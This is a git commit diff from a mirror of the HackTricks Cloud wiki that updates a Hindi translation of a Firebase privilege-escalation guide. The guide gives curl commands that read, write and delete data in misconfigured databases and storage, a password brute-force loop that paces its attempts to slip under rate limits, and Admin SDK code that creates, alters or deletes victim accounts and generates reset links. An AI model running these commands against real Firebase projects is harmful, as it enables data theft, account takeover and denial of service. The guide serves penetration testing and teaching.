gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2025-12-27 05:03:31 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

Browse Source
This commit is contained in:
Translator
2025-12-07 11:39:39 +00:00
parent e3a6e74f46
commit dab7835700
2 changed files with 243 additions and 208 deletions
Download Patch File Download Diff File Expand all files Collapse all files

192
src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-firebase-privesc.md
View File

@@ -5,26 +5,26 @@
## Firebase
### Unauthenticated access to Firebase Realtime Database
इस हमले को अंजाम देने के लिए हमलावर को किसी विशेष Firebase permissions की ज़रूरत नहीं होती। बस Firebase Realtime Database की सुरक्षा नियमों (security rules) में एक कमजोर configuration होना चाहिए, जहाँ नियम `.read: true` या `.write: true` पर सेट हैं, जिससे public read या write की अनुमति मिल जाती है।
इस हमले को अंजाम देने के लिए हमलावर को किसी विशेष Firebase permissions की आवश्यकता नहीं होती। इसके लिए केवल यह ज़रूरी है कि Firebase Realtime Database की security rules में कमजोर कॉन्फ़िगरेशन हो, जहाँ नियम `.read: true` या `.write: true` पर सेट हों, जिससे सार्वजनिक read या write एक्सेस की अनुमति मिलती है।
हमलावर को database URL पहचानना होता है, जो आम तौर पर इस फॉर्मैट में होता है: `https://<project-id>.firebaseio.com/`.
हमलावर को database URL की पहचान करनी होती है, जो आमतौर पर इस फ़ॉर्मैट का होता है: `https://<project-id>.firebaseio.com/`.
यह URL मोबाइल एप्लिकेशन की reverse engineering (Android APKs को decompile करना या iOS apps का विश्लेषण), google-services.json (Android) या GoogleService-Info.plist (iOS) जैसी configuration फाइलों के विश्लेषण, web applications के source code की जाँच, या नेटवर्क ट्रैफ़िक का निरीक्षण करके पाया जा सकता है ताकि `*.firebaseio.com` डोमेन्स के अनुरोधों की पहचान हो सके।
यह URL mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), google-services.json (Android) या GoogleService-Info.plist (iOS) जैसे configuration files का विश्लेषण करके, web applications के source code का निरीक्षण करके, या नेटवर्क ट्रैफ़िक की जाँच करके (ताकि `*.firebaseio.com` डोमेन के लिए किए गए अनुरोध पहचाने जा सकें) पाया जा सकता है।
हमलावर database URL पहचान कर जाँचता है कि क्या यह सार्वजनिक रूप से एक्सपोज़्ड है; फिर वह डेटा को एक्सेस कर सकता है और संभावित रूप से हानिकारक जानकारी लिख सकता है।
हमलावर database URL की पहचान कर यह जांचता है कि क्या वह सार्वजनिक रूप से एक्सपोज़्ड है, फिर वह डेटा तक पहुँचता है और संभावित रूप से दुष्ट जानकारी लिखता है।
पहले वे यह जाँचते हैं कि क्या database read access की अनुमति देता है, इसके लिए URL के अंत में .json जोड़कर।
पहले वे यह जांचते हैं कि database read access की अनुमति देता है या नहीं, URL के अंत में `.json` जोड़कर।
```bash
curl https://<project-id>-default-rtdb.firebaseio.com/.json
```
यदि response में JSON data या null (बदले में "Permission Denied") शामिल है, तो database को read access मिलता है। write access की जाँच करने के लिए, हमलावर Firebase REST API का उपयोग करके एक टेस्ट write request भेजने का प्रयास कर सकता है।
यदि response में JSON data या null ("Permission Denied" के बजाय) है, तो database को read access की अनुमति मिलती है। write access की जाँच करने के लिए, attacker Firebase REST API का उपयोग करके एक test write request भेजने का प्रयास कर सकता है।
```bash
curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'
```
यदि ऑपरेशन सफल होता है, तो डेटाबेस को लिखने की अनुमति भी मिल जाती है।
यदि ऑपरेशन सफल होता है, तो डेटाबेस को write access भी मिल जाता है।
### Cloud Firestore में डेटा का खुलासा
इस हमले को करने के लिए हमलावर को किसी विशिष्ट Firebase अनुमतियों की आवश्यकता नहीं होती। इसके लिए केवल यह आवश्यक है कि Cloud Firestore सुरक्षा नियमों में एक कमजोर कॉन्फ़िगरेशन मौजूद हो, जहाँ नियम बिना प्रमाणीकरण के या अपर्याप्त सत्यापन के साथ पढ़ने या लिखने की अनुमति देते हों। एक गलत रूप से कॉन्फ़िगर किए गए और पूर्ण पहुँच देने वाले नियम का उदाहरण है:
इस हमले को अंजाम देने के लिए attacker को किसी विशेष Firebase permissions की आवश्यकता नहीं होती। इसके लिए केवल इतना आवश्यक है कि Cloud Firestore security rules में कोई vulnerable configuration मौजूद हो जहाँ rules बिना authentication के या अपर्याप्त validation के साथ read या write access की अनुमति देते हों। पूर्ण एक्सेस प्रदान करने वाले एक misconfigured rule का उदाहरण है:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
@@ -32,22 +32,22 @@ allow read, write: if true;
}
}
```
यह नियम किसी को भी बिना किसी प्रतिबंध के सभी दस्तावेज़ पढ़ने और लिखने की अनुमति देता है। Firestore rules सूक्ष्म होते हैं और प्रत्येक collection और document पर लागू होते हैं, इसलिए किसी विशेष नियम में हुई गलती केवल कुछ ही collections को उजागर कर सकती है।
यह नियम किसी भी व्यक्ति को बिना किसी प्रतिबंध के सभी दस्तावेज़ पढ़ने और लिखने की अनुमति देता है। Firestore नियम सूक्ष्म होते हैं और प्रत्येक collection और document पर लागू होते हैं, इसलिए किसी विशिष्ट नियम की गलती केवल कुछ collections को ही उजागर कर सकती है।
The attacker must identify the Firebase Project ID, which can be found through mobile app reverse engineering, analysis of configuration files such as google-services.json or GoogleService-Info.plist, inspecting the source code of web applications, or analyzing network traffic to identify requests to firestore.googleapis.com.
The Firestore REST API uses the format:
Firestore REST API निम्न प्रारूप का उपयोग करती है:
```bash
https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
यदि नियम unauthenticated read access को अनुमति देते हैं, तो attacker collections और documents पढ़ सकता है। पहले, वे एक specific collection तक पहुँचने का प्रयास करते हैं:
यदि नियम बिना प्रमाणीकरण के पढ़ने की पहुँच की अनुमति देते हैं, तो हमलावर collections और documents को पढ़ सकता है। पहले, वे एक विशिष्ट collection तक पहुँचने का प्रयास करते हैं:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>
```
यदि response में permission error की बजाय JSON documents मिलते हैं, तो collection exposed है। हमलावर सामान्य नाम आज़माकर या एप्लिकेशन की संरचना का विश्लेषण करके सभी accessible collections को सूचीबद्ध कर सकता है। किसी विशिष्ट document तक पहुँचने के लिए:
यदि response में permission error की जगह JSON documents हैं, तो collection एक्सपोज़्ड है। Attacker सामान्य नाम आज़माकर या application की संरचना का विश्लेषण करके सभी accessible collections को enumerate कर सकता है। किसी specific document तक पहुँचने के लिए:
```bash
curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
यदि नियम unauthenticated write access की अनुमति देते हैं या validation अपर्याप्त है, तो attacker नए documents बना सकता है:
यदि नियम unauthenticated write access की अनुमति देते हैं या मान्यकरण अपर्याप्त है, तो attacker नए documents बना सकता है:
```bash
curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
@@ -58,7 +58,7 @@ curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases
}
}'
```
किसी मौजूदा दस्तावेज़ को संशोधित करने के लिए PATCH का उपयोग करना चाहिए:
किसी मौजूदा दस्तावेज़ को संशोधित करने के लिए PATCH का उपयोग किया जाना चाहिए:
```bash
curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
@@ -68,12 +68,12 @@ curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/database
}
}'
```
एक दस्तावेज़ हटाने और denial of service का कारण बनने के लिए:
एक दस्तावेज़ हटाने और denial of service पैदा करने के लिए:
```bash
curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>
```
### Firebase Storage में फ़ाइलों का एक्सपोज़र
एक अटैकर को इस अटैक को करने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती। यह केवल इतना चाहिए कि Firebase Storage security rules में एक कमजोर कॉन्फ़िगरेशन मौजूद हो जहाँ नियम authentication के बिना या अपर्याप्त validation के साथ read या write access की अनुमति देते हों। Storage rules read और write permissions को स्वतंत्र रूप से नियंत्रित करते हैं, इसलिए किसी नियम की त्रुटि केवल read access, केवल write access, या दोनों को उजागर कर सकती है। एक गलत कॉन्फ़िगर किए गए नियम का उदाहरण जो पूरा एक्सेस देता है:
एक हमलावर को इस हमले को अंजाम देने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती। बस यह आवश्यक है कि Firebase Storage security rules में एक कमजोर configuration मौजूद हो, जहाँ rules बिना authentication के या अपर्याप्त validation के साथ read या write access की अनुमति देते हों। Storage rules read और write permissions को स्वतंत्र रूप से नियंत्रित करते हैं, इसलिए किसी rule की गलती सिर्फ read access, सिर्फ write access, या दोनों को प्रकट कर सकती है। पूर्ण access देने वाले misconfigured rule का एक उदाहरण है:
```bash
service cloud.firestore {
match /databases/{database}/documents/{document=**} {
@@ -81,47 +81,45 @@ allow read, write: if true;
}
}
```
यह नियम बिना किसी प्रतिबंध के सभी documents को read और write एक्सेस की अनुमति देता है।
Firestore rules सूक्ष्म स्तर पर लागू होती हैं और ये प्रत्येक collection और प्रत्येक document पर लागू होती हैं, इसलिए किसी विशिष्ट rule में त्रुटि केवल कुछ collections को ही उजागर कर सकती है।
attacker को Firebase Project ID पहचानना होगा, जो mobile application reverse engineering, configuration files (जैसे google-services.json या GoogleService-Info.plist) के विश्लेषण, web application source code के निरीक्षण, या network traffic analysis के माध्यम से firestore.googleapis.com पर किए गए अनुरोधों की पहचान करके पाया जा सकता है।
यह नियम सभी documents पर बिना किसी प्रतिबंध के read और write access की अनुमति देता है। Firestore rules granular होते हैं और per collection तथा per document लागू किए जाते हैं, इसलिए किसी specific rule की गलती केवल कुछ collections को ही एक्सपोज़ कर सकती है। Attacker को Firebase Project ID पहचानना होगा, जो mobile application reverse engineering, configuration files जैसे google-services.json या GoogleService-Info.plist के विश्लेषण, web application के source code के निरीक्षण, या network traffic analysis के माध्यम से firestore.googleapis.com को किए गए requests की पहचान करके पाया जा सकता है।
The Firestore REST API uses the format:`https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.`
यदि rules unauthenticated read access की अनुमति देते हैं, तो attacker collections और documents पढ़ सकता है। पहले, वे किसी विशिष्ट collection तक पहुँचने का प्रयास करते हैं।
यदि rules unauthenticated read access की अनुमति देती हैं, तो attacker collections और documents को पढ़ सकता है। सबसे पहले, वे किसी specific collection तक पहुँचने का प्रयास करते हैं।
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"
```
यदि प्रतिक्रिया में अनुमति त्रुटि के बजाय फाइलों की सूची होती है, तो फ़ाइल उजागर है। हमलावर फ़ाइलों का path निर्दिष्ट करके उनकी सामग्री देख सकता है:
यदि प्रतिक्रिया में permission error की बजाय फाइलों की सूची दिखाई देती है, तो फ़ाइल एक्सपोज़्ड है। The attacker फ़ाइलों का path निर्दिष्ट करके उनकी सामग्री देख सकता है:
```bash
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"
```
यदि नियम unauthenticated write access की अनुमति देते हैं या मान्यकरण अपर्याप्त है, तो attacker दुर्भावनापूर्ण फ़ाइलें अपलोड कर सकता है। REST API के माध्यम से फ़ाइल अपलोड करने के लिए:
यदि नियम unauthenticated write access की अनुमति देते हैं या validation अपर्याप्त है, तो attacker malicious files अपलोड कर सकता है। REST API के माध्यम से फ़ाइल अपलोड करने के लिए:
```bash
curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>
```
हमलावर code shells, malware payloads, या बड़ी फ़ाइलें अपलोड करके denial of service पैदा कर सकते हैं। यदि एप्लिकेशन अपलोड की गई फ़ाइलों को संसाधित या निष्पादित करता है, तो हमलावर remote code execution हासिल कर सकता है। फ़ाइलें हटाने और denial of service पैदा करने के लिए:
हमलावर code shells, malware payloads, या बड़ी फ़ाइलें अपलोड कर सकता है जिससे denial of service हो सकता है। यदि एप्लिकेशन अपलोड की गई फ़ाइलों को प्रोसेस या execute करता है, तो हमलावर remote code execution हासिल कर सकता है। फ़ाइलें हटाने और denial of service पैदा करने के लिए:
```bash
curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"
```
### सार्वजनिक Firebase Cloud Functions का आह्वान
An attacker को इस issue को exploit करने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती; यह केवल जरूरी है कि कोई Cloud Function HTTP पर बिना authentication के सार्वजनिक रूप से पहुँच योग्य हो।
एक हमलावर को इस समस्या का शोषण करने के लिए किसी विशिष्ट Firebase permissions की आवश्यकता नहीं होती; केवल यह आवश्यक है कि एक Cloud Function HTTP के माध्यम से बिना प्रमाणीकरण के सार्वजनिक रूप से पहुँच योग्य हो।
A function तब vulnerable होता है जब वह insecurely configured हो:
कोई फ़ंक्शन तब vulnerable होता है जब वह असुरक्षित रूप से कॉन्फ़िगर किया गया हो:
- यह functions.https.onRequest का उपयोग करता है, जो authentication लागू नहीं करता (onCall functions के विपरीत)।
- The function’s code में user authentication validate नहीं किया जाता (उदा., request.auth या context.auth के लिए कोई checks नहीं)।
- Function IAM में सार्वजनिक रूप से उपलब्ध है, अर्थात् allUsers के पास roles/cloudfunctions.invoker role है। यह HTTP functions के लिए default व्यवहार है जब तक developer access को restrict न करे।
- यह functions.https.onRequest का उपयोग करता है, जो प्रमाणीकरण लागू नहीं करता (onCall functions के विपरीत)।
- फ़ंक्शन का कोड user authentication को validate नहीं करता (उदा., request.auth या context.auth की कोई जाँच नहीं)।
- फ़ंक्शन IAM में सार्वजनिक रूप से पहुँच योग्य है, अर्थात् allUsers के पास roles/cloudfunctions.invoker role है। यह HTTP functions के लिए default व्यवहार है जब तक developer access को प्रतिबंधित न करे।
Firebase HTTP Cloud Functions निम्न URL के माध्यम से उपलब्ध होते हैं:
Firebase HTTP Cloud Functions निम्नलिखित URLs के माध्यम से एक्सपोज़ होते हैं:
- https://<region>-<project-id>.cloudfunctions.net/<function-name>
- https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)
- `https://<region>-<project-id>.cloudfunctions.net/<function-name>`
- `https://<project-id>.web.app/<function-name>` (when integrated with Firebase Hosting)
An attacker इन URLs को source code analysis, network traffic inspection, enumeration tools, या mobile app reverse engineering के माध्यम से खोज सकता है।
यदि function सार्वजनिक रूप से exposed और unauthenticated है, तो attacker इसे सीधे बिना credentials के invoke कर सकता है।
एक हमलावर इन URLs को source code analysis, network traffic inspection, enumeration tools, या mobile app reverse engineering के माध्यम से खोज सकता है।
यदि फ़ंक्शन सार्वजनिक रूप से एक्सपोज़ और बिना प्रमाणीकरण के उपलब्ध है, तो हमलावर इसे credentials के बिना सीधे invoke कर सकता है।
```bash
# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
@@ -130,22 +128,20 @@ curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'
```
यदि फ़ंक्शन इनपुट्स को ठीक से सत्यापित नहीं करता है, तो अटैकर अन्य हमले आज़मा सकते हैं जैसे code injection या command injection।
यदि फ़ंक्शन इनपुट्स का सही तरीके से सत्यापन नहीं करता है, तो अटैकर अन्य हमले आज़मा सकता है जैसे code injection या command injection।
### Brute-force attack against Firebase Authentication with a weak password policy
अटैकर को इस हमले को करने के लिए किसी विशेष Firebase permissions की आवश्यकता नहीं होती। आवश्यक केवल यह है कि Firebase API Key मोबाइल या वेब applications में एक्सपोज़ हो और पासवर्ड पॉलिसी को डिफॉल्ट्स से कड़े आवश्यकताओं के साथ कॉन्फ़िगर न किया गया हो।
### Brute-force attack against Firebase Authentication (कमज़ोर पासवर्ड पॉलिसी के साथ)
एक अटैकर को इस हमले को करने के लिए किसी विशेष Firebase permissions की ज़रूरत नहीं होती। बस इतना चाहिए कि Firebase API Key mobile या web applications में उजागर हो, और password policy को डिफ़ॉल्ट से अधिक सख्त आवश्यकताओं के साथ कॉन्फ़िगर न किया गया हो।
अटैकर को Firebase API Key पहचाननी होती है, जो mobile app reverse engineering, configuration फ़ाइलों के विश्लेषण जैसे google-services.json या GoogleService-Info.plist, वेब applications के source code (उदा., bootstrap.js) का निरीक्षण, या network traffic के विश्लेषण से मिल सकती है।
अटैकर को Firebase API Key की पहचान करनी होगी, जो mobile app reverse engineering, configuration files (जैसे google-services.json या GoogleService-Info.plist) का विश्लेषण, web applications के source code का निरीक्षण (उदा., bootstrap.js में), या network traffic का विश्लेषण करके मिली जा सकती है।
Firebase Authentication’s REST API इस endpoint का उपयोग करता है:
`https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
ईमेल और पासवर्ड से authenticate करने के लिए।
Firebase Authentication की REST API ईमेल और पासवर्ड से authenticate करने के लिए निम्न endpoint का उपयोग करती है: `https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>`
यदि Email Enumeration Protection disabled है, तो API error responses यह प्रकट कर सकती हैं कि कोई ईमेल सिस्टम में मौजूद है या नहीं (EMAIL_NOT_FOUND बनाम INVALID_PASSWORD), जो अटैकर को password guessing से पहले यूज़र्स को enumerate करने की अनुमति देता है। जब यह protection enabled होता है, तो API nonexistent emails और incorrect passwords दोनों के लिए एक ही error message लौटाता है, जिससे user enumeration रोका जाता है।
यदि Email Enumeration Protection disabled है, तो API error responses यह प्रकट कर सकती हैं कि कोई ईमेल सिस्टम में मौजूद है या नहीं (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), जिससे अटैकर्स password guessing से पहले users का enumeration कर सकते हैं। जब यह protection enabled होता है, तो API nonexistent emails और incorrect passwords दोनों के लिए समान error message लौटाती है, जिससे user enumeration रोका जाता है।
यह ध्यान देने योग्य है कि Firebase Authentication rate limiting लागू करता है, जो बहुत कम समय में बहुत अधिक authentication attempts होने पर requests को ब्लॉक कर सकता है। इसलिए अटैकर को rate-limited होने से बचने के लिए प्रयासों के बीच देरी डालनी पड़ेगी।
यह ध्यान रखना ज़रूरी है कि Firebase Authentication rate limiting लागू करता है, जो बहुत कम समय में बहुत सारे authentication प्रयास होने पर requests को ब्लॉक कर सकता है। इसलिए, अटैकर को rate-limited होने से बचने के लिए प्रयासों के बीच देरी डालनी होगी।
अटैकर API Key की पहचान कर ज्ञात खातों के खिलाफ कई पासवर्ड के साथ authentication attempts करता है। यदि Email Enumeration Protection disabled है, तो अटैकर error responses का विश्लेषण करके मौजूद यूज़र्स को enumerate कर सकता है:
अटैकर API Key की पहचान करता है और ज्ञात खातों के खिलाफ कई पासवर्ड के साथ authentication प्रयास करता है। यदि Email Enumeration Protection disabled है, तो अटैकर error responses का विश्लेषण करके मौजूद users को enumerate कर सकता है:
```bash
# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
@@ -156,10 +152,7 @@ curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassw
"returnSecureToken": true
}'
```
यदि प्रतिक्रिया में EMAIL_NOT_FOUND शामिल है, तो वह ईमेल सिस्टम में मौजूद नहीं है।
यदि इसमें INVALID_PASSWORD है, तो ईमेल मौजूद है लेकिन पासवर्ड गलत है, जो पुष्टि करता है कि उपयोगकर्ता पंजीकृत है।
एक बार वैध उपयोगकर्ता की पहचान हो जाने पर, हमलावर brute-force प्रयास कर सकता है।
Firebase Authentication’s rate-limiting mechanisms से बचने के लिए प्रयासों के बीच विराम रखना महत्वपूर्ण है:
यदि रिस्पॉन्स में EMAIL_NOT_FOUND आता है, तो ईमेल सिस्टम में मौजूद नहीं है। यदि इसमें INVALID_PASSWORD आता है, तो ईमेल मौजूद है लेकिन पासवर्ड गलत है, जो पुष्टि करता है कि user पंजीकृत है। एक बार valid user की पहचान हो जाने पर, attacker brute-force प्रयास कर सकता है। Firebase Authentication की rate-limiting mechanisms से बचने के लिए प्रयासों के बीच विराम रखना महत्वपूर्ण है:
```bash
counter=1
for password in $(cat wordlist.txt); do
@@ -178,11 +171,11 @@ sleep 1
counter=$((counter + 1))
done
```
डिफ़ॉल्ट पासवर्ड नीति (न्यूनतम 6 वर्ण, कोई जटिलता शर्त नहीं) के साथ, हमलावर सभी संभावित 6-वर्ण वाले पासवर्ड संयोजनों को आज़मा सकता है, जो कि कड़ी पासवर्ड नीतियों की तुलना में अपेक्षाकृत छोटा खोज क्षेत्र दर्शाता है।
With the default password policy (minimum 6 characters, no complexity requirements), the attacker can try all possible combinations of 6-character passwords, which represents a relatively small search space compared to stricter password policies.
### Firebase Authentication में उपयोगकर्ता प्रबंधन
इस हमले को करने के लिए हमलावर को Firebase Authentication के कुछ विशिष्ट permissions चाहिए। आवश्यक permissions हैं:
इस हमले को करने के लिए हमलावर को विशिष्ट Firebase Authentication permissions की आवश्यकता होती है। आवश्यक permissions हैं:
- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
@@ -191,18 +184,18 @@ done
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions
ये permissions `roles/firebaseauth.admin` role में शामिल हैं, जो Firebase Authentication resources के लिए पूरा read/write access प्रदान करता है। ये permissions higher-level roles जैसे roles/firebase.developAdmin (जिसमें सभी firebaseauth.* permissions शामिल हैं) और roles/firebase.admin (Firebase services के लिए पूरा access) में भी शामिल हैं।
ये permissions `roles/firebaseauth.admin` role में शामिल हैं, जो Firebase Authentication resources के लिए पूर्ण read/write access प्रदान करता है। ये higher-level roles जैसे `roles/firebase.developAdmin` (जो सभी `firebaseauth.*` permissions को शामिल करता है) और `roles/firebase.admin` (सभी Firebase services के लिए पूर्ण पहुँच) में भी शामिल हैं।
Firebase Admin SDK का उपयोग करने के लिए, हमलावर को service account credentials (JSON file) तक पहुँच चाहिए होती है, जो compromised systems, publicly exposed code repositories, compromised CI/CD systems पर मिल सकती हैं, या उन developer accounts के compromise के माध्यम से मिल सकती हैं जिनके पास ये credentials होते हैं।
Firebase Admin SDK का उपयोग करने के लिए, हमलावर को service account credentials (JSON file) तक पहुँच की आवश्यकता होगी, जो kompromised systems, publicly exposed code repositories, kompromised CI/CD systems, या उन developer accounts के kompromised होने के माध्यम से मिल सकते हैं जिनके पास ये credentials हों।
पहला कदम है Firebase Admin SDK को service account credentials का उपयोग करके कॉन्फ़िगर करना।
पहला कदम service account credentials का उपयोग करते हुए Firebase Admin SDK को configure करना है।
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
पीड़ित के ईमेल का उपयोग करके एक दुर्भावनापूर्ण उपयोगकर्ता बनाने के लिए, हमलावर Firebase Admin SDK का उपयोग करके उस ईमेल के अंतर्गत एक नया अकाउंट बनाने का प्रयास करेगा।
victim’s email का उपयोग करके malicious user बनाने के लिए attacker Firebase Admin SDK का उपयोग करके उस email के तहत एक नया अकाउंट बनाने का प्रयास करेगा।
```bash
user = auth.create_user(
email='victima@example.com',
@@ -213,7 +206,7 @@ disabled=False
)
print(f'Usuario creado: {user.uid}')
```
किसी मौजूदा user को संशोधित करने के लिए, attacker उन फ़ील्ड्स को अपडेट करेगा जैसे कि email address, verification status, या यह कि account disabled है या नहीं।
मौजूदा उपयोगकर्ता को संशोधित करने के लिए, हमलावर ईमेल पता, सत्यापन स्थिति, या यह कि खाता अक्षम है या नहीं जैसे फ़ील्ड अपडेट करेगा।
```bash
user = auth.update_user(
uid,
@@ -223,19 +216,19 @@ disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
एक उपयोगकर्ता खाते को हटाकर और denial of service पैदा करने के लिए, attacker उपयोगकर्ता को पूरी तरह से हटाने का अनुरोध भेजेगा।
एक user account को delete करके और denial of service पैदा करने के लिए, attacker user को पूरी तरह से हटाने का request जारी करेगा।
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
हमलावर मौजूदा उपयोगकर्ताओं के UID या ईमेल पते का अनुरोध करके उनकी जानकारी भी प्राप्त कर सकता है।
एक हमलावर मौजूदा उपयोगकर्ताओं की जानकारी उनके UID या ईमेल पते का अनुरोध करके भी प्राप्त कर सकता है।
```bash
user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')
```
इसके अलावा, हमलावर सत्यापन लिंक या पासवर्ड-रीसेट लिंक जनरेट करके किसी उपयोगकर्ता का पासवर्ड बदल सकता है और उसके खाते तक पहुँच हासिल कर सकता है।
इसके अलावा, हमलावर verification links या password-reset links जेनरेट करके किसी उपयोगकर्ता का password बदलकर उसके खाते तक पहुँच हासिल कर सकता है।
```bash
link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
@@ -243,28 +236,27 @@ link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')
```
### Firebase Authentication में उपयोगकर्ता प्रबंधन
एक हमलावर को इस हमले को अंजाम देने के लिए Firebase Authentication के विशिष्ट अनुमतियों की आवश्यकता होती है। आवश्यक अनुमतियाँ हैं:
एक attacker को इस attack को अंजाम देने के लिए विशिष्ट Firebase Authentication permissions की आवश्यकता होती है। आवश्यक permissions हैं:
- `firebaseauth.users.create` उपयोगकर्ता बनाने के लिए
- `firebaseauth.users.update` मौजूदा उपयोगकर्ताओं को संशोधित करने के लिए
- `firebaseauth.users.delete` उपयोगकर्ताओं को हटाने के लिए
- `firebaseauth.users.get` उपयोगकर्ता जानकारी प्राप्त करने के लिए
- `firebaseauth.users.sendEmail` उपयोगकर्ताओं को ईमेल भेजने के लिए
- `firebaseauth.users.createSession` उपयोगकर्ता सत्र बनाने के लिए
- `firebaseauth.users.create` to create users
- `firebaseauth.users.update` to modify existing users
- `firebaseauth.users.delete` to delete users
- `firebaseauth.users.get` to obtain user information
- `firebaseauth.users.sendEmail` to send emails to users
- `firebaseauth.users.createSession` to create user sessions
ये permissions `roles/firebaseauth.admin` role में शामिल हैं, जो Firebase Authentication resources के लिए पूर्ण पढ़ने/लिखने की पहुँच प्रदान करता है। ये higher-level roles का भी हिस्सा हैं, जैसे `roles/firebase.developAdmin` (जिसमें सभी `firebaseauth.*` permissions शामिल हैं) और `roles/firebase.admin` (सभी Firebase सेवाओं के लिए पूर्ण पहुँच)।
ये permissions roles/firebaseauth.admin role में शामिल हैं, जो Firebase Authentication resources के लिए full read/write access प्रदान करता है। ये higher-level roles जैसे `roles/firebase.developAdmin` (जिसमें सभी firebaseauth.* permissions शामिल हैं) और `roles/firebase.admin` (सभी Firebase services के लिए full access) का भी हिस्सा हैं।
Firebase Admin SDK का उपयोग करने के लिए, हमलावर को service account credentials (एक JSON फ़ाइल) तक पहुँच की आवश्यकता होगी, जिसे समझौता किए गए सिस्टम्स, सार्वजनिक रूप से एक्सपोज़ कोड रिपोजिटरी, समझौता किए गए CI/CD वातावरण, या उन डेवलपर अकाउंट्स के समझौते के माध्यम से प्राप्त किया जा सकता है जिनके पास ये credentials होते हैं।
Firebase Admin SDK का उपयोग करने के लिए, attacker को service account credentials (एक JSON file) तक access चाहिए होगा, जो compromised systems, publicly exposed code repositories, compromised CI/CD environments से प्राप्त किए जा सकते हैं, या उन developer accounts के compromise के जरिए मिल सकते हैं जिनके पास ये credentials होते हैं।
पहला कदम है service account credentials का उपयोग करके Firebase Admin SDK को configure करना।
पहला कदम service account credentials का उपयोग करके Firebase Admin SDK को कॉन्फ़िगर करना है।
```bash
import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)
```
किसी victim के email का उपयोग करके एक malicious user बनाने के लिए, attacker उस email के साथ एक नया user account बनाने का प्रयास करेगा, और अपना password तथा profile information असाइन करेगा।
पीड़ित के ईमेल का उपयोग करके एक दुर्भावनापूर्ण उपयोगकर्ता बनाने के लिए, हमलावर उस ईमेल के साथ एक नया उपयोगकर्ता खाता बनाने का प्रयास करेगा और अपना पासवर्ड तथा प्रोफ़ाइल जानकारी सेट करेगा।
```bash
user = auth.create_user(
email='victima@example.com',
@@ -275,7 +267,7 @@ disabled=False
)
print(f'Usuario creado: {user.uid}')
```
मौजूदा उपयोगकर्ता को संशोधित करने के लिए, attacker ईमेल पता, सत्यापन स्थिति, या यह कि खाता अक्षम है या नहीं जैसी फ़ील्ड बदल देगा।
किसी मौजूदा उपयोगकर्ता को संशोधित करने के लिए, attacker उन फ़ील्ड्स को बदल देगा जैसे कि ईमेल पता, सत्यापन स्थिति, या यह कि खाता अक्षम है या नहीं।
```bash
user = auth.update_user(
uid,
@@ -285,36 +277,36 @@ disabled=False
)
print(f'Usuario actualizado: {user.uid}')
```
किसी उपयोगकर्ता खाते को हटाने के लिए—जो प्रभावी रूप से denial of service पैदा करेगा—हमलावर उस उपयोगकर्ता को स्थायी रूप से हटाने का अनुरोध जारी करेगा।
किसी उपयोगकर्ता खाते को हटाने के लिए—जो प्रभावी रूप से एक denial of service पैदा करता है—attacker उस उपयोगकर्ता को स्थायी रूप से हटाने का अनुरोध करेगा।
```bash
auth.delete_user(uid)
print('Usuario eliminado exitosamente')
```
